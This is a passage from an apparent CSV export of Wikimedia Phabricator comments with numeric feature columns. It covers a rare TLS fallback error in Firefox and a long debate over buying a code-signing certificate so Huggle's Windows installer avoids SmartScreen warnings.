+I suggest spending a few million dollars and creating a new bug filing system based on MediaWiki formatting. People worldwide would probably use it on many websites. Because MediaWiki markup is understood by millions of people. ",,,1443495781,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-sp47zguluuzvvmmqb24z,task_subcomment,,True,c3,3,False,,,12,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0
+536119,"Add the word ""login"" to all Phabricator pages","Yeah, it's not always obvious to find. I'm tempted to mark this as a duplicate of T87552.
+
+Note that the frontpage provides a prominent link to the ""Phabricator Help"". The first item on that page covers how to create an account.",,,1443430472,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sp47zguluuzvvmmqb24z,task_subcomment,,True,c3,3,True,,,12,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+108579,Getting ssl_error_inappropriate_fallback_alert very rarely,"Hello,
+
+every few weeks I get an “ssl_error_inappropriate_fallback_alert” when I try to connect to a Wikipedia. If I reload, the error is gone. So my guess is that one of the servers is not in sync with the others, but it might be something else.
+Unfortunately I’m not able to debug it, because I have no further information than the error-page.
+Maybe someone else encounters something similar, then he/she can add to this bug.
+",Lowest,10.0,1439213687,1464731204.0,PHID-USER-4nukugv22wnc3p6k557t,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-f2lbo3s4jysupqmv5o2f,task_description,resolved,True,c3,3,False,False,False,5,True,1,1,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+671896,Getting ssl_error_inappropriate_fallback_alert very rarely,"Assuming not, re-open if so.",,,1464731204,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-f2lbo3s4jysupqmv5o2f,task_subcomment,,True,c3,3,True,,,47,True,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+654091,Getting ssl_error_inappropriate_fallback_alert very rarely,@DaBPunkt are you still getting the same sporadic error?,,,1461934219,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-f2lbo3s4jysupqmv5o2f,task_subcomment,,True,c3,3,True,,,43,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,0,0,0
+505902,Getting ssl_error_inappropriate_fallback_alert very rarely,"Based on the actual error message, I don't think the issue is coming from our servers in any case.  There are various FF bug reports linked to this error that all say in one way or another it's indicative of a TLSv1.2 failure and attempt to fall back to a lower protocol version.  I'd try to get a packet capture when the failure happens to debug.  That, or try without extensions for a while.  Are you confident that your DNS queries aren't being hijacked by an ISP sporadically?",,,1439299981,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-f2lbo3s4jysupqmv5o2f,task_subcomment,,True,c3,3,True,,,5,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+505897,Getting ssl_error_inappropriate_fallback_alert very rarely,">>! In T108579#1524034, @BBlack wrote:
+> @dabpunkt can you provide details on the client software (browser version, OS version, etc?) and any local software that might be interfering (""antivirus"" sorts of things that might intercept browser connections)?
+
+Sure.
+OS: Debian Jessie (some Wheezy- and Sketch-packages)
+Browser: Iceweasel 31.8.0
+Interesting plugins: Disconnect, Adblock, Noscript, Calomel SSL Validation, HTTPS-Everywhere, DNSSEC/TLSA Validator
+No antivirus, no desktop-firewall.
+IPv6-Connectivity.
+",,,1439298690,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-f2lbo3s4jysupqmv5o2f,task_subcomment,,True,c3,3,False,,,5,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1
+505175,Getting ssl_error_inappropriate_fallback_alert very rarely,"@dabpunkt can you provide details on the client software (browser version, OS version, etc?) and any local software that might be interfering (""antivirus"" sorts of things that might intercept browser connections)?
+
+Possibly related is this Firefox bug report, which talks about possible Bitdefender involvement, and seems to indicate the error is related to some kind of SSLv3 fallback (which our servers definitely don't support): https://support.mozilla.org/en-US/questions/1043677",,,1439215838,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-f2lbo3s4jysupqmv5o2f,task_subcomment,,True,c3,3,True,,,5,True,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1
+105560,Add a publisher certificate for Windows binaries,"# What is wrong
+{F191197}
+Window 1
+{F191195}
+Window 2
+{F191192}
+Window 3
+There is no publisher (Swedish: //Utgivare//) designated when installing Huggle. It says Unknown (Swedish: //Okänd//) This is causing Windows SmartScreen (or whatever it is called) to try to put up a fight when installing this file.
+
+# How to fix
+
+[ ] Someone need to purchase a certificate for this purpose from certification authority that is trusted by Microsoft by default (around $600 for 3 years or $1000 (better variant))
+[ ] Once the certificate in .pfx format is available to people trusted with Huggle releases and distribution (see https://github.com/orgs/huggle/teams/release-managers) use this guide to sign the .exe files:   https://stackoverflow.com/questions/84847/how-do-i-create-a-self-signed-certificate-for-code-signing-on-windows
+
+# Resources
+
+* https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/get-a-code-signing-certificate",Lowest,10.0,1436567890,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,False,PHID-TASK-jcd425ypzglcdbzcemwo,task_description,open,True,c3,3,True,False,,1,True,0,1,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+2185235,Add a publisher certificate for Windows binaries,,,,1693474787,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,426,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+2185191,Add a publisher certificate for Windows binaries,,,,1693472416,,PHID-USER-t2xxs7jhtx6iv5udpdpw,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,426,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+2185238,Add a publisher certificate for Windows binaries,,,,1693474902,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,426,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+2166636,Add a publisher certificate for Windows binaries,,,,1690524042,,PHID-USER-brd2vylbs44zwof3ouhu,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,421,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+2185243,Add a publisher certificate for Windows binaries,,,,1693475000,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,426,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1393946,Add a publisher certificate for Windows binaries,,,,1574004480,,PHID-USER-nmdg6s77v5nztppz7zzo,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,228,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1111918,Add a publisher certificate for Windows binaries,"@Petrb Have you looked for government-issued certificates? My country's government does issue free personal ID certificates to identify electronically to government websites, email signing, etc. Code signing certificates are avalaible (for a fee I think, have not checked). I see some European governments do so as well (some do cost, some others do not). Just an idea. Thanks.",,,1532804292,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,160,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,1
+1111917,Add a publisher certificate for Windows binaries,"@Petrb Have you looked for government-issued certificates? My country's government does issue free personal ID certificates to identify electronically to government websites, email signing, etc. I see some European governments do so as well (some do cost, some others do not). Just an idea. Thanks.",,,1532804009,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,160,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,1
+1080958,Add a publisher certificate for Windows binaries,"212.50/3yr does not necessarily appear to be excessive to me, but that certificate does not offer ""extended validation"" (EV).
+
+https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/get-a-code-signing-certificate
+
+""Standard Code Signing:  Provides standard level of identity validation,  Requires shorter processing times and lower cost,  Can be used for all Hardware Dev Center hardware dashboard services except LSA, and UEFI file signing services. In Windows 10 for desktop editions (Home, Pro, Enterprise, and Education), standard code signing cannot be used for kernel-mode drivers. For more info about these changes, see Code Signing FAQ.""
+
+We're not building a kernel-mode antivandalism driver here, so I would have thought that this is sufficient. However, it seems that a ""standard"" certificate does not necessarily prevent the SmartScreen warning. If I understand correctly what various semi-reliable sources like StackOverflow users say, then only a EV certificate would ""guarantee"" removing the warning. Using a ""standard"" code signing certificate appears to start a process called ""trust building"", showing SmartScreen warnings to users until enough people decided to ignore the warning and continue anyway. Only if ""enough"" people do that, the warning will disappear for all users. I guess that Huggle will never have ""enough"" users to be able to make use of this process, and that a ""standard"" certificate might in the worst case not change our situation at all.
+
+$900 is just crazy.
+
+https://en.wikipedia.org/wiki/Extended_Validation_Certificate#Domain-validated_certificates_were_created_by_CAs_in_the_first_place
+
+Okay. What we need instead, then, is a good, easy-to-understand tutorial with screenshots, explaining how to install Huggle anyway.
+
+Edit: I'm creating a simple 2-screenshot explanation right now, using Inkscape to create ""screenshots"" that can be freely used.",,,1528295922,,PHID-USER-timi4nkerc272muhuatw,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,152,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0
+1080910,Add a publisher certificate for Windows binaries,"212.50/3yr does not necessarily appear to be excessive to me, but that certificate does not offer ""extended validation"" (EV).
+
+https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/get-a-code-signing-certificate
+
+""Standard Code Signing:  Provides standard level of identity validation,  Requires shorter processing times and lower cost,  Can be used for all Hardware Dev Center hardware dashboard services except LSA, and UEFI file signing services. In Windows 10 for desktop editions (Home, Pro, Enterprise, and Education), standard code signing cannot be used for kernel-mode drivers. For more info about these changes, see Code Signing FAQ.""
+
+We're not building a kernel-mode antivandalism driver here, so I would have thought that this is sufficient. However, it seems that a ""standard"" certificate does not necessarily prevent the SmartScreen warning. If I understand correctly what various semi-reliable sources like StackOverflow users say, then only a EV certificate would ""guarantee"" removing the warning. Using a ""standard"" code signing certificate appears to start a process called ""trust building"", showing SmartScreen warnings to users until enough people decided to ignore the warning and continue anyway. Only if ""enough"" people do that, the warning will disappear for all users. I guess that Huggle will never have ""enough"" users to be able to make use of this process, and that a ""standard"" certificate might in the worst case not change our situation at all. Perhaps the SmartScreen warning would at least contain an ""ignore"" button then, as opposed to the current requirement of right-clicking the executable, opening its preferences and clicking the ""unblock"" checkmark. I wouldn't bet 200$ on that, though.
+
+$900 is just crazy.
+
+https://en.wikipedia.org/wiki/Extended_Validation_Certificate#Domain-validated_certificates_were_created_by_CAs_in_the_first_place
+
+Okay. What we need instead, then, is a good, easy-to-understand tutorial with screenshots, explaining how to install Huggle anyway.",,,1528293732,,PHID-USER-timi4nkerc272muhuatw,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,152,True,1,0,0,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0
+1076184,Add a publisher certificate for Windows binaries,"It's important that the company that provides the certificates is already trusted by microsoft, otherwise it would be pointless buying the certificate from them.
+
+The difference on globalsign (which is trusted by microsoft) is that with more expensive option you get ""Immediate reputation with Microsoft SmartScreen"". Which is maybe the original issue in this task? The screen that say software may be virus is SmartScreen, or not?
+
+I personally see this ""security popup"" as a very shady business of Microsoft and certificate corporations, the protection provided by certificates is relatively small, the work connected to setup of new certificate is minimal and money charged for this simple service are massive. So I don't really support this very much under these conditions.
+
+If the Huggle community really believes that having the executables signed is important and the community or WMF is willing to (repeatedly) pay for certificate for this amount of money, then I can of course incorporate such certificate into windows binaries, but I am absolutely not willing to put my own money to this. I think $900 can be spent for better stuff than certificate which is only needed during installation of Huggle (and just to hide some annoying popup from MS).",,,1527621354,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,151,True,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0
+1076034,Add a publisher certificate for Windows binaries,I found that GoDaddy has them for $509/3 yr (a bit cheaper) - https://www.godaddy.com/web-security/code-signing-certificate or even cheaper with Comodo  ($212.50/3 yr) - https://comodosslstore.com/codesigning.aspx  Are these options or do we really need a $950 one?,,,1527612601,,PHID-USER-nuv6y2ceabzn7znitwvl,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,151,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0
+1075874,Add a publisher certificate for Windows binaries,Question is if we really need such a feature if it really is so expensive (and only for 3 years anyway - and only for 1 platform). The money could probably be spent in a better way :/,,,1527603841,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,151,True,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0
+1075869,Add a publisher certificate for Windows binaries,"I found this site which is one of few that actually display the price of signing key: https://www.globalsign.com/en/code-signing-certificate/
+
+It's $600 for 3 years (worse option) or $950 for 3 years (better option), not sure if we need better option, I don't think so. Anyway it seems that be way more expensive than 20EUR",,,1527603774,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,151,True,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,0
+1075865,Add a publisher certificate for Windows binaries,">>! In T105560#4234867, @valhallasw wrote:
+> I think requesting a grant (e.g. through https://meta.wikimedia.org/wiki/Grants:Project/Rapid) is probably the easiest in terms of documented process. Unfortuately rapid grants are closed for another month, but it seems you can still submit a proposal. I would suggest proposing a three year certificate due to the overhead involved.
+> 
+> A lower overhead alternative could be asking your local chapter. Generally local chapters can more easily 'just pay' for these kinds of things. This does require you to have some contacts in the chapter organisation to be efficient.
+
+There is no ""local chapter"" for Huggle. It's a global tool, primarily originating from English wikipedia. I am myself not a member of any chapter either. If anyone should fund this it should be either WMF or crowd-collected by Huggle users.",,,1527603127,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,151,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1
+1074855,Add a publisher certificate for Windows binaries,"I think requesting a grant (e.g. through https://meta.wikimedia.org/wiki/Grants:Project/Rapid) is probably the easiest in terms of documented process. Unfortuately rapid grants are closed for another month, but it seems you can still submit a proposal. I would suggest proposing a three year certificate due to the overhead involved.
+
+A lower overhead alternative could be asking your local chapter. Generally local chapters can more easily 'just pay' for these kinds of things. This does require you to have some contacts in the chapter organisation to be efficient.",,,1527437667,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,151,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0
+1074815,Add a publisher certificate for Windows binaries,"Oh hey, thanks :)
+
+Side note: Let's Encrypt, now that it is actually an active project handing out certificates, does explicitly not offer code signing certificates.
+
+https://community.letsencrypt.org/t/do-you-support-code-signing/370",,,1527425053,,PHID-USER-timi4nkerc272muhuatw,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,151,True,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+1074814,Add a publisher certificate for Windows binaries,"Oh hey, thanks :)",,,1527424817,,PHID-USER-timi4nkerc272muhuatw,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,151,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+1074806,Add a publisher certificate for Windows binaries,"ToBeFree at enwiki suggested ""WMF to pay for it"":
+
+```
+@Petrb: Hey, thanks for the quick reply. I saw that answer coming! Emoji u1f60a.svg How about letting the WMF pay it? As far as I know, they're sponsoring admission fees for photography projects, they invest a lot of money to keep all the tools/bots running; why wouldn't they fund a software certificate for a massively useful, widely used tool on multiple Wikipedias including enwiki? ~ ToBeFree (talk) 11:46, 27 May 2018 (UTC) 
+```
+
+Honestly, I don't know what our options here are. If it really is possible for WMF to handle this somehow, I probably wouldn't object, but I don't even know where to begin, or who within WMF is responsible for this kind of stuff.
+
+Hilfe @Aklapper :D",,,1527423106,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,151,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,1,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1
+840994,Add a publisher certificate for Windows binaries,"Declining a task doesn't solve it.
+
+We can fix this but only if there is a feasible way to get the key in order to sign the executable. Right now these need to be purchased for money. So unless someone sponsor it, our hands are tied. Or we can wait for public service like letsencrypt to be launched that would allow this for free.",,,1491997339,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,92,True,0,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+838575,Add a publisher certificate for Windows binaries,Let's decline this?,,,1491567734,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,92,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+549981,Add a publisher certificate for Windows binaries,">>! In T105560#1447490, @MrStradivarius wrote:
+> If you're willing to wait until September, [[ https://letsencrypt.org/ | Let's Encrypt ]] will give you certificates for free.
+
+Let's encrypt is just for website SSL certs.
+
+>>! In T105560#1460312, @Petrb wrote:
+> Huggle packages for ubuntu are signed and it works. With a certificate that is located on our build server and which I freely generated there. If Microsoft can't do this, it's their problem.
+Yes, if and only if the user installs your public key. The same is of course possible in Windows, and (as in Linux) requires an administrator to load the key in the key store.
+
+[[ https://en.sklep.unizeto.pl/data-safety/code-signing-certificates/open-source-code-signing.html | Unizeto ]] used to provide free certificates, but now charges a small (€18) fee. For that fee, they check your identity (so it covers their actual costs). Note that the publisher field would then not be 'Huggle', but e.g. 'Petr Bena - Open Source Developer'.",,,1445456838,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1
+492983,Add a publisher certificate for Windows binaries,"Code signing usually works in the way that you have a public and private keys (or certificates), distribute the public key to a key server and sign the binary packages with the private one, so that it can be verified that binary package really comes from you and not some hacker who did something evil.
+
+You don't really need a certificate from certificate authority for this, there is absolutely no point in that as long as there is some sort of certificate server you can upload your public key to. For example both debian and ubuntu allow signing with certificates you create yourself on your pc. It's just Micro$$oft that requires commercial certificates that cost money. Both are same effective just the later is expensive.
+
+Huggle packages for ubuntu are signed and it works. With a certificate that is located on our build server and which I freely generated there. If Microsoft can't do this, it's their problem.",,,1437145046,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,2,True,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,1,0,1,1,0,0,1,0,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+492948,Add a publisher certificate for Windows binaries,"> For code signing?
+
